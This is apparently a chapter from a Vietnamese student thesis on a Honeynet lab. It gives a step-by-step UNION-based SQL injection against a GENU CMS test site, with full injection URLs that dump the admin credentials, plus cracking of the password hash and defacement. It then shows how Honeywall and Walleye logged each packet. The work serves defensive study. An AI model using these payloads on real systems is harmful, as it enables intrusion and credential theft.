Kịch bản tấn công
Hình 4.12 - Kịch bản tấn công hệ thống Honeynet
Đồ án sẽ trình bày một kịch bản tấn công website mắc lỗi SQL-injection (là kỹ thuật tấn công phổ biến và có mức độ nguy hiểm cao) dựa trên mô hình triển khai hệ thống Honeynet diễn ra như sau:
- Hacker sau khi thực hiện dò quét trên mạng, phát hiện ra Web Server (địa chỉ IP
192.168.1.111) của hệ thống bị lỗi SQL-injection, hacker thực hiện khai thác lỗ
hổng này và tiêm các đoạn mã SQL có hại (malicious code) nhằm khai thác - chiếm quyền điều khiển toàn bộ Website .
- Sau khi giành quyền điều khiển Website, hacker cài đặt backdoor trên Web Server để dễ dàng truy cập, kiểm soát Web server. Tiếp theo, hacker thực hiện thay đổi nội dung trang Web, đưa những thông tin hình ảnh mang tính chất phá
Toàn bộ thông tin quá trình tấn công của hacker vào hệ thống Honeynet sẽ được ghi lại đầy đủ, chi tiết. Những thông tin hệ thống Honeynet thu thập sẽ được người phân tích thực hiện phân tích, đánh giá dưới sự trợ giúp của công cụ quản lý và hỗ trợ phân tích Walleye trong Honeynet nhằm đưa ra:
- Quá trình tấn công diễn ra như thế nào (chi tiết từng bước)
- Công cụ hacker sử dụng (công cụ khai thác Metasploit, Retina Network Security Scanner ; công cụ dò quét lỗi SQL-injection Scrawlr 1.0 , ...)
- Kỹ thuật hacker sử dụng
Quá trình phân tích sẽ được trình bày cụ thể trong phần tiếp theo.
Phân tích kỹ thuật tấn công của hacker
Quá trình hacker thực hiện tấn công Website
Dưới đây là hình ảnh của website báo điện tử về oto có địa chỉ là http://192.168.1.111/genu, đã bị mắc lỗi SQL-injection mà chúng ta sẽ tiến hành thực hiện khai thác tấn công:
Hình 4.13 – Giao diện của website sẽ bị tấn công
Trước khi đi vào quá trình thực hiện tấn công, chúng ta cần phải biết trong Cơ sở dữ liệu SQL có: 2 đối tượng là sysobjects và syscolumns cho phép liệt kê tất cả các tên bảng và cột có trong hệ thống và bảng hệ thống INFORMATION_SCHEMA.TABLES chứa thông tin về tất cả các table có trên server. Vì vậy, chúng ta sẽ sử dụng thông tin này
để thực hiện khai thác, tấn công vào website nhằm chiếm được quyền quản trị (admin) của Website này.
Hacker đã phát hiện ra website bị lỗi SQL Injection khi thêm dấu ’ sau đường dẫn http://192.168.1.111/genu/articles/read.php?article_id=1 và website thông báo lỗi như sau: Error in query "SELECT genu_articles.article_date, genu_articles.article_subject, genu_articles.article_text, genu_users.user_id, genu_users.user_name FROM genu_articles, genu_users WHERE genu_articles.user_id = genu_users.user_id AND genu_articles.article_id = 1\'".
Dưới đây là toàn bộ quá trình thực hiện tấn công khai thác lỗi SQL- injection :
Bước 1: Khai thác tên cơ sở dữ liệu
Sau khi biết Website bị lỗi SQL Injection, ta tiếp tục khai thác tên cơ sở dữ liệu. Bằng cách chúng ta truy vấn với giá trị null có nghĩa rống không có một giá trị xác thực đồng thời chúng ta sẽ sử dụng câu truy vấn với union. Lệnh union ở đây chính là lênh kết nối các bảng lại với nhau.Chúng ta cứ sử dụng cho đến khi biết chính xác có bao nhiêu bảng dữ liệu nằm trong database.
http://192.168.1.111/genu/articles/read.php?article_id=null union select 1 from information_schema.tables--
Hacker sẽ nhận thông báo lỗi sau:
Lưu ý: Số cột trong hai câu SELECT phải khớp với nhau. Nghĩa là số lượng cột trong câu lệnh SELECT ban đầu và câu lệnh UNION SELECT phía sau bằng nhau và cùng kiểu.Vì ở đây, ta không biết số lượng các cột của Bảng ở câu lệnh SELECT ban đầu nên ta buộc phải tìm bằng cách lần lượt tăng thêm các số '2,3,4,5' vào Câu lệnh UNION SELECT.
Và cuối cùng là:
http://192.168.1.111/genu/articles/read.php?article_id=null union select 1,2,3,4,5 from information_schema.tables--
Hacker sẽ nhận được thông báo:
Hình 4.15 – Thông báo vị trí cột có thể chèn câu lệnh SQL
Như ta thấy ở cột 2,3,5 có thể tiêm câu lệnh SQL. Vậy ta thêm database() để biết tên cơ sở dữ liệu mà Website đang sử dụng.
http://192.168.1.111/genu/articles/read.php?article_id=null union select 1,database(),3,4,5 from information_schema.tables--
Hình 4.16 – Tên cơ sở dữ liệu cần tìm
Bước 2: Khai thác số table có trong cơ sở dữ liệu genu
Tiếp tục khai thác lỗ hổng ở vị trí thứ 2 như ở bước đầu tiên. Ta tiếp tục liệt kê các bảng có trong cơ sở dữ liệu bằng cách tiêm group_concat(table_name), và nó sẽ trả về một chuỗi các kết quả. Cụ thể:
http://192.168.1.111/genu/articles/read.php?article_id=null union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=CHAR(103,101,110,117)--
Lưu ý: CHAR(103,101,110,117) được chuyển đổi từ tên cơ sở dữ liệu “ genu” để câu truy vấn sql trở nên đúng. Nếu giữ nguyên là genu thì trình duyệt nó luôn luôn lọc dấu ’ ra khỏi url nên câu truy vấn sai. Ở đây ta dung tool hackbar để chuyển đổi từ string qua kiểu char.
Hình 4.17 – Danh sách các table trong CSDL genu
Ở đây ta chỉ quan tâm đến table genu_users vì trong table này có chứa danh sách các tên user mà chúng ta đang cần tìm.
Bước 3: Khai thác số Column trong table genu_users
Tương tự như khai thác các table trong cơ sở dữ liệu ở bước 3. Chúng ta tiếp tục khai thác các column có trong table genu_users vừa được khai thác thành công ở bước 3 ở trên. Cụ thể:
http://192.168.1.111/genu/articles/read.php?article_id=null union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=CHAR(103,101,110,117,95,117,115,101,114,115)--
Lưu ý: CHAR(103,101,110,117,95,117,115,101,114,115) được chuyển đổi từ dạng string là genu_users
Hình 4.18 – Danh sách các column trong table genu_users
Danh sách các column hacker lấy được:
user_id,user_level,user_name,user_password,user_email,user_viewemail,user_website,us er_location,user_occupation,user_comments,user_posts,user_votes,user_creation,user_ip, user_language,user_template,user_date_format,user_date_offset,user_lastvisit,user_key,u ser_day,user_month,user_year,user_avatar
Ở đây ta chỉ quan tâm đến các column user_id, user_name, user_password vì trong các colum này chứa tài khoản admin để chiếm quyền kiểm soát Website và đó cũng là mục đích cuối cùng mà hacker tìm đến.
Bước 4: Khai thác thông tin username/password có trong các column
Vẫn tiếp tục khai thác ở vị trí thứ 2, ta sử dụng truy vấn concat để lấy thông tin về id, username, password có trong các column user_id, user_name, user_password được khai thác ở bước 3. Cụ thể:
http://192.168.1.111/genu/articles/read.php?article_id=null union select 1,concat(user_id,char(58),user_name,char(58),user_password),3,4,5 from genu_user--
Hình 4.19 – Thông tin username/password cần tìm Thông tin mà mà hacker có được :
1:admin:ca5b27f0ec89a3dcbcf7f07e47d446ff9c848c98 Username: admin
Password: ca5b27f0ec89a3dcbcf7f07e47d446ff9c848c98
Với password đã được mã hóa chúng ta có thể dùng câu lệnh update để thây đổi password hoặc có thể giải mã. Ở đây chúng ta thử giải mã bằng cách truy cập vào http://www.md5decrypter.co.uk/ và kết quả nhận được:
Hình 4.20 – Password được giải mã Password thu được sau khi giải mã là: xuantrung
Sau khi chiếm được quyền kiểm soát website này, ta có thể làm bất cứ gì điều gì đối với website. Thông thường các Hacker sau khi đã chiếm được quyền kiểm soát website thì họ sẽ thay đổi giao diện của website (deface), cài backdoor trên Website để lần sau quay lại hoặc tiến hành Local Attack, tức là tấn công các website cùng được chạy trên Web server này (Vì hầu hết ngày người ta thường thuê Hostting để đặt website), phát tán các loại mã độc- virus qua website này,…..
Ở đây, ta sẽ tiến hành thay đổi giao diện website này. Và chúng ta sẽ thấy sự khác nhau về giao diện thông qua hai hình 4.31 và hình 4.32 dưới đây:
Hình 4.21 – Giao diện trang web lúc ban đầu
Nhận xét: Như vậy, sau một loạt tiến hành các bước dò quét lỗ hổng, thực hiện tiêm các đoạn mã SQL để nhằm khai thác thông tin của Cơ sở dữ liệu, ta đã chiếm được quyền kiểm soát được website này. Một câu hỏi đặt ra bây giờ là : “Toàn bộ quá trình chúng ta thực hiện tấn công website này thì có bị Honeynet ghi lại hay không?”. Chúng ta sẽ tìm thấy câu trả lời cho câu hỏi này ở phần tiếp theo là phần “Sử dụng Honeynet để phân tích kỹ thuật tấn công của Hacker”.
Sử dụng Honeynet để phân tích kỹ thuật tấn công của Hacker
Với sự hỗ trợ của công cụ Walleye chúng ta thu được mối quan hệ giữa các dữ liệu tấn công hệ thống. Hình 4.21 mô tả tổng quan các luồng dữ liệu mạng vào/ra hệ thống Honeynet.
Hình 4.23 -Tổng quan luồng dữ liệu vào/ra hệ thổng Honeynet
Hình dưới đây chỉ ra các gói tin được thu nhận bởi Honeywall và hiển thị trên Walleye theo một chuỗi trình tự các bước tấn công.
Hình 4.24 - Chuỗi các gói tin thu nhận trên Walleye
Ta sẽ lần lượt phân tích quá trình tấn công của hacker nhờ vào hệ thống Honeynet như sau:
- Phân tích gói tin thứ nhất ta sẽ thấy nội dung gói tin chứa đoạn mã (đánh dấu trong ô vuông), chỉ ra đây là một tấn công SQL-injection vào WebServer có địa chỉ 192.168.1.111.
Hình 4.25 - Nội dung gói tin chứa mã độc SQL được tiêm vào
Trên đây là ta nhìn thấy Honeywall đã đọc được đoạn mã SQL mà Hacker đã tiêm vào để khai thác lỗ hổng SQL-injection mà Website này mắc phải . Và đoạn mã SQL mà Hacker tiêm vào là:
Câu lệnh được thực thi đầy đủ là:
http://192.168.1.111/genu/articles/read.php?article_id=null select 1 from information_schema.table--
Chúng ta thấy phần in nghiêng ở trên chính là phần câu lệnh mà chúng ta đã tiêm vào. Ở đây hacker đang dò xem table chứa thông tin về article của website có chứa bao nhiêu cột và cột nào có thể chèn SQL vào để khai thác thông tin của cơ sở dữ liệu. Và kết quả nhận được từ webserver trả về tương ứng với câu lệnh này là:
Hình 4.26 - Nội dung gói tin trả về tương ứng với gói tin trên L
ưu ý : Trong các bước tấn công của Hacker sau này thì đoạn SQL in nghiêng trong câu lệnh SQL trên sẽ luôn kết hợp với các đoạn SQL mà được Hacker tiêm vào tạo thành câu lệnh SQL được thực thi. Tức là:
Câu lệnh SQL thực thi = select * from member where m_username = ' + với đoạn SQL
được tiêm.
Sau này, trong các bước tấn công tiếp theo của Hacker, Đồ án sẽ không trình bày lại điều này nữa.
Tiếp theo, hacker dò lần lượt với select 1,2,3,4,5 như ở hình dưới và kết quả trả về của webserver là 1 trang index hoàn chỉnh hiển thị thông tin cột 2,3,5 có thể chèn SQL vào. Câu lệnh hacker dùng để khai thác:
http://192.168.1.111/genu/articles/read.php?article_id=null union select 1,2,3,4,5 from information_schema.tables--
Hình 4.27 - Nội dung gói tin khi hacker thực hiện thành công bước đầu.
Hình 4.28 - Nội dung gói tin webserver trả về
Sau khi hacker đã biết ở vị trí cột nào có thể tiêm SQL vào, và hacker đã thực hiện truy vấn thêm trường database() vào vị trí cột 2 để lấy thông tin là tên của cơ sở dữ liệu mà website đang sử dụng.
Câu lệnh hacker sử dụng để khai thác:
http://192.168.1.111/genu/articles/read.php?article_id=null union select 1,database(),3,4,5 from information_schema.tables--
Hình 4.29 - Nội dung gói tin hacker khai thác thông tin database Và kết quả webserver trả về:
Hình 4.30- Nội dung gói tin chứa thông tin là tên database
Phân tích gói tin tiếp theo, ta lại tiếp tục thu được được đoạn mã SQL mà hacker đã tiêm vào là :
article_id=null union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=CHAR(103,101,110,117)—
Hình 4.31 - Nội dung gói tin hacker tiêm vào
Mục đích của đoạn mã SQL này là nhằm tìm trong database genu có bao nhiêu table và liệt kê tên của các table.
Xem tiếp nội dung của gói tin này ta thấy thông tin được trả về từ webserver được honeywall ghi lại:
Hình 4.32 - Nội dung gói tin hiển thị danh sách các table trong genu
Tiếp tục phân tích gói tin tiếp theo, hacker sau khi đã lấy được tên bảng cần thiết đó là
genu_users, lại tiếp tục tiêm vào đoạn mã SQL để khai thác thông tin các cột có chứa thông tin username và password của admin. Đoạn mã được tiêm vào:
Hình 4.33 - Nội dung gói tin hacker tiêm vào khai thác các column
Mục đích của đoạn mã này là khai thác các danh sách các colum có trong table
genu_users. Và theo dõi tiếp gói tin này thì thấy thông tin trả về của webserver là danh sách các column mà hacker cần khai thác.
Hình 4.34 - Nội dung gói tin chứa thông tin các colomn trong genu_users
Từ các thông tin lấy được trong trong genu_users, hacker đã biết chính xác các
column chứa thông tin về tài khoản admin đó là user_id, user_name, user_password. Và theo dõi gói tin tiếp theo ta thấy hacker đã lấy thông tin của tài khoản admin bằng cách tiêm vào đoạn mã SQL:
article_id=null union select 1,concat(user_id,char(58),user_name,char(58),user_password),3,4,5 from genu_users—
Hình 4.35 - Nội dung gói tin chứa đoạn mã hacker tiêm vào để lấy thông tin admin Theo dõi tiếp tục gói tin này và ta thấy nội dung về thông tin của tài khoản admin được webserver trả về 1:admin:ca5b27f0ec89a3dcbcf7f07e47d446ff9c848c98 có trong gói tin này.
Hình 4.36 - Nội dung gói tin chứa thông tin tài khoản admin
Đến đây thì hacker dễ dàng có thể lấy được password để chiếm quyền điều khiển website rồi. Và sau khi đã sở hữu được tài khoản admin, ta tiếp tục theo dõi xem nếu như ở máy hacker đăng nhập vào website với tài khoản của admin thì honeywall có nhận biết được không?
Hình 4.37 - Nội dung gói tin thông báo website bị tấn công
Và tiếp tục là 1 gói tin thể hiện chi tiết sau khi hacker đã đột nhập được vào bên trong website.
Hình 4.38 - Nội dung gói tin thông báo website bị deface
Ở đây chúng ta có thể nhận thấy rằng sau khi hacker lấy được tài khoản admin và đột nhập vào website, và website đã bị hacker deface bằng cách thay đổi thông tin trên trang web, cụ thể là đã để lại nội dung “ hacked!!! ”. Và dưới đây là kiệt tác mà hacker đã để lại.
Hình 4.39 - Website ban đầu
Hình 4.40 - Website bị deface
Honeywall không giúp chúng ta ghi lại toàn bộ quá trình tấn công website của Hacker mà còn giúp nhận biết công cụ Hacker sử dụng tấn công. Trong kịch bản tấn công này, hacker đã phát hiện lỗi SQL Injection bằng cách thêm ký tự đặc biệt cụ thể là dấu nháy đơn vào sau đường dẫn của bài viết.
Hình 4.41 - Gói tin hacker sử dụng để kiểm tra lỗi SQL Injection
Hình 4.42 - Gói tin biểu hiện lỗi SQL Injection
Như vậy, nhờ vào Honeywall mà toàn bộ quá trình thực hiện tấn công website http://192.168.1.111/genu/ của Hacker đã được Honeywall ghi lại được tóm tắt như sau :
- Đầu tiên, Hacker phát hiện lỗi SQL-injection bằng cách thêm dấu nháy đơn ’ vào sau đường dẫn, và đã phát hiện ra được website trên đã mắc lỗi SQL-injection.
- Tiếp theo, Hacker đã sử dụng các kỹ thuật tấn công SQL-injection để tấn công website trên và đã xâm nhập thành công, chiếm được quyền kiểm soát Website .
- Cuối cùng, Hacker đã thay đổi Website bằng cách upload file ảnh xedap.jpg, và thay đổi nội dung bài viết bằng cách để lại chữ “ hacked!!! ”
Ngoài nhưng điều trên ra thì hacker còn có thể cài đặt virus lên website, và biến website thành công cụ phán tán virus trên mạng.
Nhận xét kết quả phân tích và biện pháp khắc phục lỗi SQL-injection của website bị tấn công trên.
Hệ thống Honeynet đã thu được một số kết quả sau:
- Giúp chúng ta thấy rõ quá trình tấn công của hacker diễn ra cụ thể như thế nào: các tấn công cụ thể diễn ra từng bước ra sao. Sau khi chiếm được quyền điều khiển honeypot, hacker làm gì v.v..
- Thu được kỹ thuật tấn công của hacker: Kỹ thuật tấn công SQL-injection, thực thi web shell từ xa (Remote Procedure Call – RPC ), phát tán virus.